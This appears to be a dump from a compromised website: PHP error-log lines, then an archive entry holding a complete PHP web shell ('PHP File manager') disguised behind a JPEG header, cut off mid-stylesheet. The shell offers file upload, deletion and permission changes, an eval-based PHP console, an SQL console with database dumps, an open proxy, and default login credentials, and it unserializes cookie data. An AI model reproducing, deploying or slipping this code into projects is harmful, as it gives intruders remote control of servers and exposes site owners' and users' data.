Fatal error: Uncaught Error: Value of type null is not callable in /home/tokomrjk/paussea.com/html.php:55 Stack trace: #0 {main} thrown in /home/tokomrjk/paussea.com/html.php on line 55 [07-Nov-2025 05:23:05 UTC] PHP Warning: fopen(/opt/alt/php81/var/lib/php/session/sess_3d3230a6442a946e37f9f7cc2f4ce693): Failed to open stream: Disk quota exceeded in /home/tokomrjk/paussea.com/html.php on line 57 [07-Nov-2025 05:23:05 UTC] PHP Fatal error: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/tokomrjk/paussea.com/html.php:58 Stack trace: #0 /home/tokomrjk/paussea.com/html.php(58): fwrite() #1 {main} thrown in /home/tokomrjk/paussea.com/html.php on line 58 PK ��\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1